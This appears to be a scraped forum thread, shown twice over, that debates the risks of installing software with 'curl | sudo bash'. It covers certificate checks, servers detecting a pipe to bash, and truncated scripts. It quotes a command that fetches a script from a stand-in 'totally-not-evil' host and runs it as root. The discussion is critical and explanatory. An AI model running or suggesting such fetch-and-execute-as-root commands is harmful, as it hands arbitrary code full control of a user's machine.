5 ms·

Great! As long as "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer

Great! As long as "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

erinaceousjones 6y ago
The point is that they want further assurances that the "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh" part won't, in certain environments, screw up some pointer arithmetic and write the buffer into executable memory, or cause some other heartbleed-esque bug which can be exploited. Piping it to "sudo bash" is perfectly acceptable in the eyes of the system. It's doing the instructions the user has asked it to, they've explicitly been configured as sudoers, and usually have been prompted to enter their password.
tialaramex 6y ago
Historically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. If you suspect they might actually be evil, or just incompetent, that's on you either way. But for some years curl didn't make any effort to confirm it was getting this file from totally-not-evil.example.com. Connect over SSL, ignore all this security stuff, fetch the file. So then it's like you just accepted a floppy disk you got in the mail which says it's "from totally-not-evil.example.com" but might really be from anybody. That's definitely worse. Today you have to specify the --insecure flag to do this if you want to (Hint: You do not want to)
- afwe 6y ago
  The website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.
  - deleted 6y ago
    [deleted]
  - ComputerGuru 6y ago
    Inspect it by piping to less or vim instead?
    - reificator 6y ago
      Still distinguishable: https://news.ycombinator.com/item?id=24731271 https://news.ycombinator.com/item?id=24731271
- bagder 6y ago
  "For some years" sure, but that's ancient history. curl has verified the server certificates by default since version 7.10, shipped in October 2002.
  - tialaramex 6y ago
    I'm actually just very old. But thanks for the effort put into Curl over all this time.
- reificator 6y ago
  > This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. In practice, perhaps. But detecting whether the file is being piped to bash (and not cat/less/grep/etc) is pretty straightforward. https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b... https://code.moparisthebest.com/moparisthebest/curl_bash https://code.moparisthebest.com/moparisthebest/curl_bash
  - staticassertion 6y ago
    Yeah, and it still doesn't matter. Because if you run that command you are already trusting that site with RCE on your machine, so if the premise of the attack is "the site is bad" you were owned anyways.
    - dllthomas 6y ago
      Moreover, the site could be legitimate and ship you something legitimate, but if it's truncated for any reason it could still be a "valid" bash script that now does incorrect things. Consider various prefixes of `rm -rf /tmp/thisscript.working/...`
scrollaway 6y ago
In your example, bash, sudo, linux, your DNS stack, ISP, router, clipboard and keyboard all play a role that is just as essential as curl in that command working the way you (cynically) expect it to. Glad you feel safer though.
- Shared404 6y ago
  What? You mean intentionally running untrusted code as root is your own fault? How dare you.

Great! As long as "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh | sudo bash" still works, I feel safer already.

erinaceousjones 6y ago

The point is that they want further assurances that the "curl https://totally-not-evil.example.com/install.sh https://totally-not-evil.example.com/install.sh" part won't, in certain environments, screw up some pointer arithmetic and write the buffer into executable memory, or cause some other heartbleed-esque bug which can be exploited. Piping it to "sudo bash" is perfectly acceptable in the eyes of the system. It's doing the instructions the user has asked it to, they've explicitly been configured as sudoers, and usually have been prompted to enter their password.

tialaramex 6y ago

Historically there was a long period where this didn't do what you expect, which is very bad. What this looks like it does, and indeed does today (modulo bugs some of which could be prevented using Rust) is: Ask totally-not-evil.example.com for this install.sh resource and then run that as root as a Bash script. This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. If you suspect they might actually be evil, or just incompetent, that's on you either way. But for some years curl didn't make any effort to confirm it was getting this file from totally-not-evil.example.com. Connect over SSL, ignore all this security stuff, fetch the file. So then it's like you just accepted a floppy disk you got in the mail which says it's "from totally-not-evil.example.com" but might really be from anybody. That's definitely worse. Today you have to specify the --insecure flag to do this if you want to (Hint: You do not want to)

afwe 6y ago
The website could detect whether you are using a regular browser or curl itself to download the .sh file and return something different. So inspecting the .sh using your browser before you run that line would not protect you.
- deleted 6y ago
  [deleted]
- ComputerGuru 6y ago
  Inspect it by piping to less or vim instead?
  - reificator 6y ago
    Still distinguishable: https://news.ycombinator.com/item?id=24731271 https://news.ycombinator.com/item?id=24731271
bagder 6y ago
"For some years" sure, but that's ancient history. curl has verified the server certificates by default since version 7.10, shipped in October 2002.
- tialaramex 6y ago
  I'm actually just very old. But thanks for the effort put into Curl over all this time.
reificator 6y ago
> This is no worse than if you were to have totally-not-evil.example.com give you the bash script on a floppy disk or something. In practice, perhaps. But detecting whether the file is being piped to bash (and not cat/less/grep/etc) is pretty straightforward. https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-b... https://code.moparisthebest.com/moparisthebest/curl_bash https://code.moparisthebest.com/moparisthebest/curl_bash
- staticassertion 6y ago
  Yeah, and it still doesn't matter. Because if you run that command you are already trusting that site with RCE on your machine, so if the premise of the attack is "the site is bad" you were owned anyways.
  - dllthomas 6y ago
    Moreover, the site could be legitimate and ship you something legitimate, but if it's truncated for any reason it could still be a "valid" bash script that now does incorrect things. Consider various prefixes of `rm -rf /tmp/thisscript.working/...`

scrollaway 6y ago

In your example, bash, sudo, linux, your DNS stack, ISP, router, clipboard and keyboard all play a role that is just as essential as curl in that command working the way you (cynically) expect it to. Glad you feel safer though.

Shared404 6y ago
What? You mean intentionally running untrusted code as root is your own fault? How dare you.